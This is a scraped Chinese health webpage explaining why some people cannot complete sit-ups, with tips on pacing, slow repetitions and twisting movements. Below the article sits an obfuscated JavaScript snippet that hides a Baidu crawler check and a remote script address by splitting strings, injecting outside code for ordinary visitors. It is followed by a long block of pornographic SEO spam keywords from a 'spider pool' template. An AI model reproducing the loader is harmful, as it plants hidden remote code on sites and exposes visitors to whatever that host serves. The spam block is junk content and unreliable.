<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 健康 > 運動健身 > 正文

      仰臥起坐做不起來是怎么回事啊?

      2017-04-15 10:32:15  來源:360常識網   熱度:
      導語:我們都知道,仰臥起坐是我們減小肚腩的一個運動方法。但是對于很多長期不運動的人來說,仰臥起坐根本就做不起來,也就無法達到減肥,減小肚

      我們都知道,仰臥起坐是我們減小肚腩的一個運動方法。但是對于很多長期不運動的人來說,仰臥起坐根本就做不起來,也就無法達到減肥,減小肚子的效果。因為長期不做運動的人,腰部贅肉多,腰部也沒有力量。那么,如果您是做不起的朋友,來看看仰臥起坐的運動技巧吧!

      仰臥起坐運動技巧:

      1.逐漸增加仰臥起坐反覆次數:對於一位剛開始以仰臥起坐來訓練腹部肌肉的參與者而言,每次仰臥起坐的次數以不超過10個反覆為原則

      (先訓練您腹部肌肉的肌力) ,每完成一次的仰臥起坐后,應站起或躺下休息,讓腹部肌肉能夠放松10分鐘以上。

      2.慢慢進行仰臥起坐:主要是以腹部肌肉的耐力為訓練目標,因此,只有慢慢進行仰臥起坐的運動方式,比較能夠確實訓練腹肌的耐力。

      3.仰臥起坐的動作:人體上腹部的肌肉,主要有腹直肌、腹外斜肌與腹內斜肌。因此,如果仰臥起坐的動作,都是以上半身在矢狀面 (雙肩平行的起坐動作)

      上的動作進行時,腹外斜肌與腹內斜肌的訓練效果會受到明顯的限制,只有增加身體縱軸 (右肩帶向左腿與左肩帶向右腿) 旋轉的動作,才可以避免腹肌訓練的不協調狀態。

      除了上半身的動作以外,為了避免仰臥起坐過程中,下腹部屈曲髖關節肌肉的負荷過大,進行仰臥起坐時應屈曲膝關節。但是,在這種仰臥屈膝的姿勢下進行仰臥起坐訓練后,反而會限制到下腹部肌肉的訓練效果。

      我們都知道,肚子上是非常容易長肉的。一旦肉長得多了,堆積起來,我們就有了小肚子。而且仰臥起坐這項運動,必須長期運動才可以起到減肥,減小肚子的效果。所以,如果我們想要保持良好的身形,就必須要控制自己的飲食。

      轉載申明:360常識網,歡迎分享,轉載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 亚洲综合网站色欲色欲| 亚洲丁香色婷婷综合欲色啪| 亚洲成a人v欧美综合天堂| 国产欧美日韩综合精品二区| 久久综合丁香激情久久| 久久综合色之久久综合| 亚洲欧美日韩国产综合一区二区| 亚洲综合日韩精品欧美综合区| 狠狠色丁香久久婷婷综合| 狼狼综合久久久久综合网| 欧美日韩国产码高清综合人成| 亚洲图片综合区| 国产精品天干天干在线综合| 色妞色综合久久夜夜| 国产91久久综合| 五月天激情综合网丁香婷婷| 国产精品天干天干综合网| 一本一本久久a久久综合精品蜜桃 一本一道久久综合狠狠老 | 综合网在线观看| 一本一本久久A久久综合精品| 色综合久久中文色婷婷| 亚洲AV综合色区无码一区爱AV| 亚洲国产综合精品一区在线播放 | 久久婷婷色综合一区二区| 久久精品水蜜桃av综合天堂| 久久综合久久综合亚洲| 久久综合久久综合亚洲| 亚洲av伊人久久综合密臀性色| 久久久亚洲裙底偷窥综合| 浪潮AV色综合久久天堂| 色综合伊人色综合网站| 伊伊人成亚洲综合人网7777| 婷婷五月综合色视频| 久久婷婷五月综合成人D啪| 一本色道久久综合| 青青热久久综合网伊人| 狠狠色丁香久久婷婷综合图片| 色拍自拍亚洲综合图区| 色噜噜狠狠狠综合曰曰曰| 亚洲精品第一国产综合境外资源| 无码国内精品久久综合88|